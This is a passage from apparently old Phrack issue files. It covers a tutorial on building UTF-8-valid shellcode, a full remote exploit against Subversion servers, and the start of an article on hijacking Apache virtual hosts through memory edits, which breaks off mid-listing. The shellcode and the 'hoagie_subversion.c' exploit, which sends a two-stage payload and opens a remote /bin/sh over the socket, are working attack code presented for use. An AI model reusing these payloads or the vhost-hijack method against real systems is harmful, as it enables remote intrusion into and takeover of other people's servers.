+ 00 100001 000100 011100
-----------------------------------
11100000 10100001 10000100 10011100
which is 0xE0 0xB1 0x84 0x9C in UTF-8.
I hope you get the point now :-)
- ---[ 2.2. Advantages of using UTF-8
UTF-8 combines the flexibility of Unicode (think of it: no more codepages
mess!) with the ease-of-use of traditional encodings. Also, the transition
to complete worldwide UTF-8 support is easy to do, because every plain-
7-bit-ASCII-file that exists right now (and existed since the 60s) will
be valid in the future too, without any modifications. Think of all your
config files!
- ----------------------------------------------------------------------------
- ---] 3. The need for UTF-8 compatible shellcodes
So, since we know now that UTF-8 is going to save our day in the future,
why would we need shellcodes that are valid UTF-8 texts?
Well, UTF-8 is the default encoding for XML, and since more and more
protocols start using XML and more and more networking daemons use these
protocols, the chances to find a vulnerability in such a program
increases. Additionally, applications start to pass user input around
encoded in UTF-8. So sooner or later, you will overflow a buffer with
UTF-8-data. Now you want that data to be executable AND valid UTF-8.
- ---] 3.1. UTF-8 sequences
Fortunately, the situation is not _that_ desperate, compared to
alphanumeric shellcodes. There, we only have a very limited character
set, and this really limits the instructions available. With UTF-8, we
have a much bigger character space, but there is one problem: we are
limited in the _sequence_ of characters. For example, with alphanumeric
shellcodes we don't care if the sequence is "AAAC" or "CAAA" (except
for the problem, of course, that the instructions have to make sense :))
But with UTF-8, for example, 0xBF must not follow 0xBF. Only certain
bytes may follow other bytes. This is what the UTF-8-shellcode-magic
is all about.
- ---] 3.1.1. Possible sequences
Let's look into the available "UTF-8-codespace" more closely:
U-00000000 - U-0000007F: 0xxxxxxx = 0 - 127 = 0x00 - 0x7F
This is much like the alphanumeric shellcodes - any character
can follow any character, so 0x41 0x42 0x43 is no problem, for
example.
U-00000080 - U-000007FF: 110xxxxx 10xxxxxx
First byte: 0xC0 - 0xDF
Second byte: 0x80 - 0xBF
You see the problem here. A valid sequence would be 0xCD 0x80
(do you remember that sequence - int $0x80 :)), because the byte
following 0xCD must be between 0x80 and 0xBF. An invalid
sequence would be 0xCD 0x41, every UTF-8-parser chokes on
this.
U-00000800 - U-0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx
First byte: 0xE0 - 0xEF
Following 2 bytes: 0x80 - 0xBF
So, if the sequence starts with 0xE0 to 0xEF, there must be
two bytes following between 0x80 and 0xBF. Fortunately we can
often use 0x90 here, which is nop. But more on that later.
U-00010000 - U-001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
First byte: 0xF0 - 0xF7
Following 3 bytes: 0x80 - 0xBF
You get the point.
U-00200000 - U-03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
First byte: 0xF8 - 0xFB
Following 4 bytes: 0x80 - 0xBF
U-04000000 - U-7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
First byte: 0xFC - 0xFD
Following 5 bytes: 0x80 - 0xBF
So we know now what bytes make up UTF-8:
0x00 - 0x7F without problems
0x80 - 0xBF only as a "continuation byte" in the middle of a sequence
0xC0 - 0xDF as a start-byte of a two-byte-sequence (1 continuation byte)
0xE0 - 0xEF as a start-byte of a three-byte-sequence (2 continuation bytes)
0xF0 - 0xF7 as a start-byte of a four-byte-sequence (3 continuation bytes)
0xF8 - 0xFB as a start-byte of a five-byte-sequence (4 continuation bytes)
0xFC - 0xFD as a start-byte of a six-byte-sequence (5 continuation bytes)
0xFE - 0xFF not usable! (actually, they may be used only once in a UTF-8-
text - the sequence 0xFF 0xFE marks the start of such a
text)
- ---] 3.1.2. UTF-8 shortest form
Unfortunately (for us), the Corrigendum #1 to the Unicode standard [2]
specifies that UTF-8-parsers only accept the "UTF-8 shortest form"
as a valid sequence.
What's the problem here?
Well, without that rule, we could encode the character U+0000000A (line
feed) in many different ways:
0x0A - this is the shortest possible form
0xC0 0x8A
0xE0 0x80 0x8A
0xF0 0x80 0x80 0x8A
0xF8 0x80 0x80 0x80 0x8A
0xFC 0x80 0x80 0x80 0x80 0x8A
Now that would be a big security problem, if UTF-8 parsers accepted
_all_ the possible forms. Look at the strcmp routine - it compares two
strings byte per byte to tell if they are equal or not (that still works
this way when comparing UTF-8-strings). An attacker could generate a string
with a longer form than necessary and so bypass string comparison checks,
for example.
Because of this, UTF-8-parsers are _required_ to only accept the shortest
possible form of a sequence. This rules out sequences that start with one
of the following byte patterns:
1100000x (10xxxxxx)
11100000 100xxxxx (10xxxxxx)
11110000 1000xxxx (10xxxxxx 10xxxxxx)
11111000 10000xxx (10xxxxxx 10xxxxxx 10xxxxxx)
11111100 100000xx (10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx)
Now certain sequences become invalid, for example 0xC0 0xAF, because
the resulting UNICODE character is not encoded in its shortest form.
- ---] 3.1.3. Valid UTF-8 sequences
Now that we know all this, we can tell which sequences are valid
UTF-8:
Code Points 1st Byte 2nd Byte 3rd Byte 4th Byte
U+0000..U+007F 00..7F
U+0080..U+07FF C2..DF 80..BF
U+0800..U+0FFF E0 A0..BF 80..BF
U+1000..U+FFFF E1..EF 80..BF 80..BF
U+10000..U+3FFFF F0 90..BF 80..BF 80..BF
U+40000..U+FFFFF F1..F3 80..BF 80..BF 80..BF
U+100000..U+10FFFF F4 80..8F 80..BF 80..BF
Let's look how to build UTF-8-shellcode!
- ----------------------------------------------------------------------------
- ---] 4. Creating the shellcode
Before you start, be sure that you are comfortable creating "standard"
shellcode, i.e. shellcode that has no limitations in the instructions
available.
We know which characters we can use and that we have to pay attention to
the character sequence. Basically, we can transform any shellcode to
UTF-8 compatible shellcode, but we often need some tricks.
- ---] 4.1. Bytes that come in handy
The biggest problem while building UTF-8-shellcode is that you have
to get the sequences right.
"\x31\xc9" // xor %ecx, %ecx
"\x31\xdb" // xor %ebx, %ebx
We start with \x31. No problem here, \x31 is between \x00 and \x7f,
so we don't need any more continuation bytes. \xc9 is next. Woops -
it is between \xc2 and \xdf, so we need a continuation byte. What
byte is next? \x31 - that is no valid continuation byte (which
have to be between \x80 and \xbf). So we have to insert an instruction
here that doesn't harm our code *and* makes the sequence UTF-8-
compatible.
- ---] 4.1.1. Continuation bytes
We are lucky here. The nop instruction (\x90) is the perfect
continuation byte and simply does nothing :) (exception: you can't use
it if it is the first continuation byte in a \xe1-\xef sequence -
see the table in 3.1.3).
So to handle the problem above, we would simply do the following:
"\x31\xc9" // xor %ecx, %ecx
"\x90" // nop (UTF-8)
"\x31\xdb" // xor %ebx, %ebx
"\x90" // nop (UTF-8)
(I always mark bytes I inserted because of UTF-8 so I don't accidentally
optimize them away later when I need to save space)
- ---] 4.1.2. Masking continuation bytes
The other way round, you often have instructions that start with a
continuation byte, i.e. the first byte of the instruction is between
\x80 and \xbf:
"\x8d\x0c\x24" // lea (%esp,1),%ecx
That means you have to find an instruction that is only one byte long
and lies between \xc2 and \xdf.
The most suitable one I found here is SALC [2]. This is an *undocumented*
Intel opcode, but every Intel CPU (and compatible) supports it. The
funny thing is that even gdb reports an "invalid opcode" there. But it
works :) The opcode of SALC is \xd6 so it suits our purpose well.
The bad thing is that it has side effects. This instruction modifies
%al depending on the carry flag (see [3] for details). So always think
about what happens to your %eax register when you insert this instruction!
Back to the example, the following modification makes the sequence valid
UTF-8:
"\xd6" // salc (UTF-8)
"\x8d\x0c\x24" // lea (%esp,1),%ecx
- ---] 4.1.3. Chaining instructions
If you are lucky, instructions that begin with continuation bytes follow
instructions that need continuation bytes, so you can chain them together,
without inserting extra bytes.
You can often safe space this way just by rearranging instructions, so
think about it when you are short of space.
- ---] 4.2. General design rules
%eax is evil. Try to avoid using it in instructions that use it as a
parameter because the instruction then often contains \xc0 which is
invalid in UTF-8. Use something like
xor %ebx, %ebx
push %ebx
pop %eax
(pop %eax has an instruction code of its own - and a very UTF-8 friendly
one, too :)
- ---] 4.3. Testing the code
How can you test the code? Use iconv, it comes with the glibc. You
basically convert the UTF-8 to UTF-16, and if there are no error
messages then the string is valid UTF-8. (Why UTF-16? UTF-8 sequences
can yield character codes well beyond 0xFF, so the conversion would
fail in the other direction if you would convert to LATIN1 or ASCII.
Drove me nuts some time ago, because I always thought my UTF-8 was
wrong...)
First, invalid UTF-8:
greuff@pluto:/tmp$ hexdump -C test
00000000 31 c9 31 db |1.1.|
00000004
greuff@pluto:/tmp$ iconv -f UTF-8 -t UTF-16 test
1iconv: illegal input sequence at position 1
greuff@pluto:/tmp$
And now valid UTF-8:
greuff@pluto:/tmp$ hexdump -C test
00000000 31 c9 90 31 db 90 |1..1..|
00000006
greuff@pluto:/tmp$ iconv -f UTF-8 -t UTF-16 test
1P1greuff@pluto:/tmp$
- ----------------------------------------------------------------------------
- ---] 5. A working example
Now onto something practical. Let's convert a classical /bin/sh-spawning
shellcode to UTF-8.
- ---] 5.1. The original shellcode
"\x31\xd2" // xor %edx,%edx
"\x52" // push %edx
"\x68\x6e\x2f\x73\x68" // push $0x68732f6e
"\x68\x2f\x2f\x62\x69" // push $0x69622f2f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
"\xb8\x0bx\00\x00\x00" // mov $0xb,%eax
"\xcd\x80" // int $0x80
The code simply prepares the stack in the right way, sets some registers
and jumps into kernel space (int $0x80).
- ---] 5.2. UTF-8-ify
That's an easy example, no big obstacles here. The only obvious problem
is the "mov $0xb,%eax" instruction. I am quite lazy now, so I'll just
copy %edx (which is guaranteed to contain 0 at this time) to %eax and
increase it 11 times :)
The new shellcode looks like this (wrapped into a C program so you
can try it out):
- ----------8<------------8<-------------8<------------8<---------------
#include <stdio.h>
char shellcode[]=
"\x31\xd2" // xor %edx,%edx
"\x90" // nop (UTF-8 - because previous byte was 0xd2)
"\x52" // push %edx
"\x68\x6e\x2f\x73\x68" // push $0x68732f6e
"\x68\x2f\x2f\x62\x69" // push $0x69622f2f
"\xd6" // salc (UTF-8 - because next byte is 0x89)
"\x89\xe3" // mov %esp,%ebx
"\x90" // nop (UTF-8 - two nops because of 0xe3)
"\x90" // nop (UTF-8)
"\x52" // push %edx
"\x53" // push %ebx
"\xd6" // salc (UTF-8 - because next byte is 0x89)
"\x89\xe1" // mov %esp,%ecx
"\x90" // nop (UTF-8 - same here)
"\x90" // nop (UTF-8)
"\x52" // push %edx
"\x58" // pop %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\xcd\x80" // int $0x80
;
void main()
{
int *ret;
FILE *fp;
fp=fopen("out","w");
fwrite(shellcode,strlen(shellcode),1,fp);
fclose(fp);
ret=(int *)(&ret+2);
*ret=(int)shellcode;
}
- ----------8<------------8<-------------8<------------8<---------------
As you can see, I used nop's as continuation bytes as well as salc
to mask out continuation bytes. You'll quickly get an eye for this
if you do it often.
- ---] 5.3. Let's try it out
greuff@pluto:/tmp$ gcc test.c -o test
test.c: In function `main':
test.c:37: warning: return type of `main' is not `int'
greuff@pluto:/tmp$ ./test
sh-2.05b$ exit
exit
greuff@pluto:/tmp$ hexdump -C out
00000000 31 d2 90 52 68 6e 2f 73 68 68 2f 2f 62 69 d6 89 |1..Rhn/shh//bi..|
00000010 e3 90 90 52 53 d6 89 e1 90 90 52 58 40 40 40 40 |...RS.....RX@@@@|
00000020 40 40 40 40 40 40 40 cd 80 |@@@@@@@..|
00000029
greuff@pluto:/tmp$ iconv -f UTF-8 -t UTF-16 out && echo valid!
1Rhn/shh//bi4RSRX@@@@@@@@@@@@valid!
greuff@pluto:/tmp$
Hooray! :-)
- ---] 5.4. A real exploit using these techniques
The recent date parsing buffer overflow in Subversion <= 1.0.2 led
me into researching these problems and writing the following exploit.
It isn't 100% finished; but it works against svn:// and http:// URLs.
The first shellcode stage is a hand crafted UTF-8-shellcode, that
searches for the socket file descriptor and loads a second stage shellcode
from the exploit and executes it. A real life example showing you that
these things actually work :)
- ----------8<------------8<-------------8<------------8<---------------
/*****************************************************************
* hoagie_subversion.c
*
* Remote exploit against Subversion-Servers.
*
* Author: greuff <greuff@void.at>
*
* Tested on Subversion 1.0.0 and 0.37
*
* Algorithm:
* This is a two-stage exploit. The first stage overflows a buffer
* on the stack and leaves us ~60 bytes of machine code to be
* executed. We try to find the socket-fd there and then do a
* read(2) on the socket. The exploit then sends the second stage
* loader to the server, which can be of any length (up to the
* obvious limits, of course). This second stage loader spawns
* /bin/sh on the server and connects it to the socket-fd.
*
* Credits:
* void.at
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
* THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
* CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
*
*****************************************************************/
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>
enum protocol { SVN, SVNSSH, HTTP, HTTPS };
char stage1loader[]=
// begin socket fd search
"\x31\xdb" // xor %ebx, %ebx
"\x90" // nop (UTF-8)
"\x53" // push %ebx
"\x58" // pop %eax
"\x50" // push %eax
"\x5f" // pop %edi # %eax = %ebx = %edi = 0
"\x2c\x40" // sub $0x40, %al
"\x50" // push %eax
"\x5b" // pop %ebx
"\x50" // push %eax
"\x5a" // pop %edx # %ebx = %edx = 0xC0
"\x57" // push %edi
"\x57" // push %edi # safety-0
"\x54" // push %esp
"\x59" // pop %ecx # %ecx = pointer to the buffer
"\x4b" // dec %ebx # beginloop:
"\x57" // push %edi
"\x58" // pop %eax # clear %eax
"\xd6" // salc (UTF-8)
"\xb0\x60" // movb $0x60, %al
"\x2c\x44" // sub $0x44, %al # %eax = 0x1C
"\xcd\x80" // int $0x80 # fstat(i, &stat)
"\x58" // pop %eax
"\x58" // pop %eax
"\x50" // push %eax
"\x50" // push %eax
"\x38\xd4" // cmp %dl, %ah # uppermost 2 bits of st_mode set?
"\x90" // nop (UTF-8)
"\x72\xed" // jb beginloop
"\x90" // nop (UTF-8)
"\x90" // nop (UTF-8) # %ebx now contains the socket fd
// begin read(2)
"\x57" // push %edi
"\x58" // pop %eax # zero %eax
"\x40" // inc %eax
"\x40" // inc %eax
"\x40" // inc %eax # %eax=3
//"\x54" // push %esp
//"\x59" // pop %ecx # %ecx ... address of buffer
//"\x54" // push %edi
//"\x5a" // pop %edx # %edx ... bufferlen (0xC0)
"\xcd\x80" // int $0x80 # read(2) second stage loader
"\x39\xc7" // cmp %eax, %edi
"\x90" // nop (UTF-8)
"\x7f\xf3" // jg startover
"\x90" // nop (UTF-8)
"\x90" // nop (UTF-8)
"\x90" // nop (UTF-8)
"\x54" // push %esp
"\xc3" // ret # execute second stage loader
"\x90" // nop (UTF-8)
"\0" // %ebx still contains the fd we can use in the 2nd stage loader.
;
char stage2loader[]=
// dup2 - %ebx contains the fd
"\xb8\x3f\x00\x00\x00" // mov $0x3F, %eax
"\xb9\x00\x00\x00\x00" // mov $0x0, %ecx
"\xcd\x80" // int $0x80
"\xb8\x3f\x00\x00\x00" // mov $0x3F, %eax
"\xb9\x01\x00\x00\x00" // mov $0x1, %ecx
"\xcd\x80" // int $0x80
"\xb8\x3f\x00\x00\x00" // mov $0x3F, %eax
"\xb9\x02\x00\x00\x00" // mov $0x2, %ecx
"\xcd\x80" // int $0x80
// start /bin/sh
"\x31\xd2" // xor %edx, %edx
"\x52" // push %edx
"\x68\x6e\x2f\x73\x68" // push $0x68732f6e
"\x68\x2f\x2f\x62\x69" // push $0x69622f2f
"\x89\xe3" // mov %esp, %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
"\xb8\x0b\x00\x00\x00" // mov $0xb, %eax
"\xcd\x80" // int $0x80
"\xb8\x01\x00\x00\x00" // mov $0x1, %eax
"\xcd\x80" // int %0x80 (exit)
;
int stage2loaderlen=69;
char requestfmt[]=
"REPORT %s HTTP/1.1\n"
"Host: %s\n"
"User-Agent: SVN/0.37.0 (r8509) neon/0.24.4\n"
"Content-Length: %d\n"
"Content-Type: text/xml\n"
"Connection: close\n\n"
"%s\n";
char xmlreqfmt[]=
"<?xml version=\"1.0\" encoding=\"utf-8\"?>"
"<S:dated-rev-report xmlns:S=\"svn:\" xmlns:D=\"DAV:\">"
"<D:creationdate>%s%c%c%c%c</D:creationdate>"
"</S:dated-rev-report>";
int parse_uri(char *uri,enum protocol *proto,char host[1000],int *port,char repos[1000])
{
char *ptr;
char bfr[1000];
ptr=strstr(uri,"://");
if(!ptr) return -1;
*ptr=0;
snprintf(bfr,sizeof(bfr),"%s",uri);
if(!strcmp(bfr,"http"))
*proto=HTTP, *port=80;
else if(!strcmp(bfr,"svn"))
*proto=SVN, *port=3690;
else
{
printf("Unsupported protocol %s\n",bfr);
return -1;
}
uri=ptr+3;
if((ptr=strchr(uri,':')))
{
*ptr=0;
snprintf(host,1000,"%s",uri);
uri=ptr+1;
if((ptr=strchr(uri,'/'))==NULL) return -1;
*ptr=0;
snprintf(bfr,1000,"%s",uri);
*port=(int)strtol(bfr,NULL,10);
*ptr='/';
uri=ptr;
}
else if((ptr=strchr(uri,'/')))
{
*ptr=0;
snprintf(host,1000,"%s",uri);
*ptr='/';
uri=ptr;
}
snprintf(repos,1000,"%s",uri);
return 0;
}
int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}
int main(int argc, char **argv)
{
int sock, port;
size_t size;
char cmd[1000], reply[1000], buffer[1000];
char svdcmdline[1000];
char host[1000], repos[1000], *ptr, *caddr;
unsigned long addr;
struct sockaddr_in sin;
struct hostent *he;
enum protocol proto;
/*sock=open("output",O_CREAT|O_TRUNC|O_RDWR,0666);
write(sock,stage1loader,strlen(stage1loader));
close(sock);
return 0;*/
printf("hoagie_subversion - remote exploit against subversion servers\n"
"by greuff@void.at\n\n");
if(argc!=3)
{
printf("Usage: %s serverurl offset\n\n",argv[0]);
printf("Examples:\n"
" %s svn://localhost/repository 0x41414141\n"
" %s http://victim.com:6666/svn 0x40414336\n\n",argv[0],argv[0]);
printf("The offset is an alphanumeric address (or UTF-8 to be\n"
"more precise) of a pop instruction, followed by a ret.\n"
"Brute force when in doubt.\n\n");
printf("When exploiting against an svn://-url, you can supply a\n"
"binary offset too.\n\n");
exit(1);
}
// parse the URI
snprintf(svdcmdline,sizeof(svdcmdline),"%s",argv[1]);
if(parse_uri(argv[1],&proto,host,&port,repos)<0)
{
printf("URI parse error\n");
exit(1);
}
printf("parse_uri result:\n"
"Protocol: %d\n"
"Host: %s\n"
"Port: %d\n"
"Repository: %s\n\n",proto,host,port,repos);
addr=strtoul(argv[2],NULL,16);
caddr=(char *)&addr;
printf("Using offset 0x%02x%02x%02x%02x\n",caddr[3],caddr[2],caddr[1],caddr[0]);
sock=socket(AF_INET,SOCK_STREAM,0);
if(sock<0)
{
perror("socket");
return -1;
}
he=gethostbyname(host);
if(he==NULL)
{
herror("gethostbyname");
return -1;
}
sin.sin_family=AF_INET;
sin.sin_port=htons(port);
memcpy(&sin.sin_addr.s_addr,he->h_addr,sizeof(he->h_addr));
if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))<0)
{
perror("connect");
return -1;
}
if(proto==SVN)
{
size=read(sock,reply,sizeof(reply));
reply[size]=0;
printf("Server said: %s\n",reply);
snprintf(cmd,sizeof(cmd),"( 2 ( edit-pipeline ) %d:%s ) ",strlen(svdcmdline),svdcmdline);
write(sock,cmd,strlen(cmd));
size=read(sock,reply,sizeof(reply));
reply[size]=0;
printf("Server said: %s\n",reply);
strcpy(cmd,"( ANONYMOUS ( 0: ) ) ");
write(sock,cmd,strlen(cmd));
size=read(sock,reply,sizeof(reply));
reply[size]=0;
printf("Server said: %s\n",reply);
snprintf(cmd,sizeof(cmd),"( get-dated-rev ( %d:%s%c%c%c%c ) ) ",strlen(stage1loader)+4,stage1loader,
caddr[0],caddr[1],caddr[2],caddr[3]);
write(sock,cmd,strlen(cmd));
size=read(sock,reply,sizeof(reply));
reply[size]=0;
printf("Server said: %s\n",reply);
}
else if(proto==HTTP)
{
// preparing the request...
snprintf(buffer,sizeof(buffer),xmlreqfmt,stage1loader,
caddr[0],caddr[1],caddr[2],caddr[3]);
size=strlen(buffer);
snprintf(cmd,sizeof(cmd),requestfmt,repos,host,size,buffer);
// now sending the request, immediately followed by the 2nd stage loader
printf("Sending:\n%s",cmd);
write(sock,cmd,strlen(cmd));
sleep(1);
write(sock,stage2loader,stage2loaderlen);
}
// SHELL LOOP
printf("Entering shell loop...\n");
exec_sh(sock);
/*sleep(1);
close(sock);
printf("\nConnecting to the shell...\n");
exec_sh(connect_sh()); */
return 0;
}
- ----------8<------------8<-------------8<------------8<---------------
- ----------------------------------------------------------------------------
- ---] 6. Considerations
Some thoughts about the whole topic.
- ---] 6.1. Automated shellcode transformer
Perhaps it's possible to write an automated shellcode transformer that gets
a shellcode and outputs the shellcode UTF-8 compatible (similar to rix's
alphanumeric shellcode compiler [4]), but it would be a challenge. Many
decisions during the transformation process cannot be automated in my
opinion. (By the way - alphanumeric shellcode is of course valid UTF-8!
So if you want to save time and space it's not a problem, just use the
alphanumeric shellcode compiler on your shellcode and use that!)
- ---] 6.2. UTF-8 in XML-files
When you write UTF-8 shellcode for the purpose of sending it in an XML-
document, you'll have to care for a few more things. The bytes \x00 to
\x08 are forbidden in XML, as well as the obvious characters like '<',
'>' and so on. Don't forget that when you exploit your favourite XML-
processing app!
- ----------------------------------------------------------------------------
- ---] 7. Greetings, last words
andi@void.at (man, get a nick :))
soletario (the indoor snowboarder)
ReAction
all the other people who often helped me out
- ----------------------------------------------------------------------------
[1] http://www.cl.cam.ac.uk/~mgk25/unicode.html
[2] http://www.unicode.org/versions/corrigendum1.html
[3] http://www.x86.org/secrets/opcodes/salc.htm
[4] http://www.phrack.org/show.php?p=57&a=15
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x0a of 0x10
|=-=[ Attacking Apache with builtin Modules in Multihomed Environments ]=|
|=----------------------------------------------------------------------=|
|=-----------------------=[ Andi <andi@void.at> ]=----------------------=|
--[ Contents
1 - Introduction
2 - Apache Memory Layout: Virtual Hosts
3 - Get Virtual Hosts from Memory
4 - Modify a Virtual Host
5 - A sample attack
6 - Add a new Virtual Host
7 - Keep it up
8 - Solution
9 - References
A - Appendix: The implementation
--[ 1 - Introduction
This paper will show a simple way to modify the memory layout from an
Apache [1] process. Most Webhosting Providers use PHP [2], Mod_perl [3] as
builtin Apache module to improve the web server performance. This method
is of course much faster than loading external programs or extensions (i.e.
running php in cgi mode). But on the other side this script runs in the
same memory space as the apache process so you can easily change
contents of memory.
There's one reason why all this stuff will work as good as it should.
Apache holds 5 children in memory (per default). After a HTTP request the
process will not be killed. Instead of exiting the current apache process
after closing the connection the next request will be processed by the
same process. So when you send a lot of requests to the apache server you
can "infect" every process.
We use this attack technique to hijack a virtual host on server. I know,
there are other methods to get control over the HTTP requests (using open
file descriptors,...). But all other methods require at least one process
running on the server that handles the HTTP requests and redirect them.
This way of hijacking apache doesn't require another process because we
change the memory of the apache process itself and so it works normal as
before.
This attack technique requires access to an account on a webserver which
hosts at least two sites (else it wouldnt make any sense). You can't
exploit Apache without your own php script on that server (well perhaps
there are some "Remote Include" vulnerabilities so you can run a script on
the remote machine).
--[ 2 - Apache Memory Layout: Virtual Hosts
So when Apache recieves a HTTP request an object from type request_rec
will be created. This object contains information about the HTTP request
like the method which is used (GET, POST..), the HTTP protocol number etc.
Now the correct list for the server ip will be looked up in the IP address
hash table (iphash_table). The pointer from that list will be stored in
the request object (variable vhost_lookup_data). After the headers from
the HTTP request have been read Apache updates it's vhost status. It will
use the vhost_lookup_data pointer to find the correct virtual host.
Apache uses internal lists for it's virtual hosts. To speed up search
requests there is more than one list and a hash table for IP address
lookups. The information about every virtual host is stored in an object
from type server_rec.
[apache_1.3.29/src/include/httpd.h]
...
struct server_rec {
server_rec *next;
...
/* Contact information */
char *server_admin;
char *server_hostname;
unsigned short port; /* for redirects, etc. */
...
char *path; /* Pathname for ServerPath */
int pathlen; /* Length of path */
array_header *names; /* Normal names for ServerAlias servers */
array_header *wild_names;/* Wildcarded names for ServerAlias servers */
uid_t server_uid; /* effective user id when calling exec wrapper */
gid_t server_gid; /* effective group id when calling exec wrapper */
};
As you can see there are many interesting values we would like to change.
Imagine you are running a virtual host on the same web server as
http://www.evil.com. So you simply have to look for that virtual host and
change the variables.
So we know where Apache stores the virtual host information. Now we have to
find the list and structures that points to those server_rec objects. Lets
have a look where Apache initializes its virtual hosts.
[apache_1.3.29/src/main/http_vhost.c]
...
/* called at the beginning of the config */
API_EXPORT(void) ap_init_vhost_config(pool *p)
{
memset(iphash_table, 0, sizeof(iphash_table));
default_list = NULL;
name_vhost_list = NULL;
name_vhost_list_tail = &name_vhost_list;
}
...
As you can see there are two lists and one hash table. The hash table is
used for IP address lookups. The default_list contains _default_ server
entries and name_vhost_list contains all other virtual hosts. The objects
from the hash table have the following structure:
struct ipaddr_chain {
ipaddr_chain *next;
server_addr_rec *sar; /* the record causing it to be in
* this chain (need for both ip addr and port
* comparisons) */
server_rec *server; /* the server to use if this matches */
name_chain *names; /* if non-NULL then a list of name-vhosts
* sharing this address */
};
Then you have a list of virtual hosts names poiting to that IP address
(name_chain *names). And from that structure we can directly access the
virtual host data:
struct name_chain {
name_chain *next;
server_addr_rec *sar; /* the record causing it to be in
* this chain (needed for port comparisons) */
server_rec *server; /* the server to use on a match */
};
So the following code will find the correct vhost (variable host):
...
for (i = 0; i < IPHASH_TABLE_SIZE; i++) {
for (trav = iphash_table[i]; trav; trav = trav->next) {
for (n = trav->names; n != NULL; n = n->next) {
conf = ap_get_module_config(n->server->module_config,
&core_module);
if ( (host != NULL &&
!strcmp(host, n->server->server_hostname)) ||
host == NULL ){
php_printf("VirtualHost: [%s, %s, %s, %s]<br>\n",
n->sar->virthost,
n->server->server_admin,
n->server->server_hostname,
conf->ap_document_root);
}
}
}
}
...
--[ 3 - Get Virtual Hosts from Memory
If we want to change the characteristics of virtual hosts we have to know where
Apache stores the lists in memory. Apache initialize this list before
reading the config file. This is done in the ap_init_vhost_config()
function.
[apache_1.3.29/src/main/http_vhost.c]
...
/* called at the beginning of the config */
API_EXPORT(void) ap_init_vhost_config(pool *p)
{
memset(iphash_table, 0, sizeof(iphash_table)); <---- Yes, thats great
default_list = NULL;
name_vhost_list = NULL;
name_vhost_list_tail = &name_vhost_list;
}
...
So there are many ways to get the address of iphash_table. You can use
gdb, nm (when not stripped),..
andi@blackbull:~$ gdb /usr/sbin/apache
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...(no debugging symbols found)...
(gdb) disass ap_init_vhost_config
Dump of assembler code for function ap_init_vhost_config:
0x080830e0 <ap_init_vhost_config+0>: push %ebp
0x080830e1 <ap_init_vhost_config+1>: mov %esp,%ebp
0x080830e3 <ap_init_vhost_config+3>: sub $0x8,%esp
0x080830e6 <ap_init_vhost_config+6>: add $0xfffffffc,%esp
0x080830e9 <ap_init_vhost_config+9>: push $0x400
0x080830ee <ap_init_vhost_config+14>: push $0x0
0x080830f0 <ap_init_vhost_config+16>: push $0x80ceec0
^^^^^^^^^^
address of iphash_table
0x080830f5 <ap_init_vhost_config+21>: call 0x804f858 <memset>
0x080830fa <ap_init_vhost_config+26>: add $0x10,%esp
0x080830fd <ap_init_vhost_config+29>: movl $0x0,0x80cf2c0
0x08083107 <ap_init_vhost_config+39>: movl $0x0,0x80cf2c4
0x08083111 <ap_init_vhost_config+49>: movl $0x80cf2c4,0x80cf2c8
0x0808311b <ap_init_vhost_config+59>: leave
0x0808311c <ap_init_vhost_config+60>: ret
0x0808311d <ap_init_vhost_config+61>: lea 0x0(%esi),%esi
End of assembler dump.
If you dont have access to the apache binary you have to use another
method: In hoagie_apachephp.c there are some external defintions of apache
functions.
...
/* some external defintions to get address locations from memory */
extern API_EXPORT(void) ap_init_vhost_config(pool *p);
extern API_VAR_EXPORT module core_module;
...
So inside our module we already have the address for this functions and
can use the integrated disassembler to get the addresses.
iphash_table =
(ipaddr_chain **)getcall((char*)ap_init_vhost_config, "push", 3);
default_list =
(ipaddr_chain *)getcall((char*)ap_init_vhost_config, "mov", 1);
And now its very easy to change any vhost data.
NOTE: It depends on your compiler and compiler version which mov or push
call returns the correct address. So you can also use the integrated
disassembler to print the assembler code on your webpage.
--[ 5 - A sample attack
Imagine the following situtation:
There are three directories (for each virtual host one) and three
index.html files. Lets have a look at the content:
andi@blowfish:/home$ ls -al hack1/ vhost1/ vhost2/
hack1/:
total 16
drwxr-sr-x 2 andi andi 4096 Apr 25 03:33 .
drwxrwsr-x 7 root staff 4096 Apr 25 03:00 ..
-rw-r--r-- 1 root staff 20 Apr 25 02:19 index.html
vhost1/:
total 332
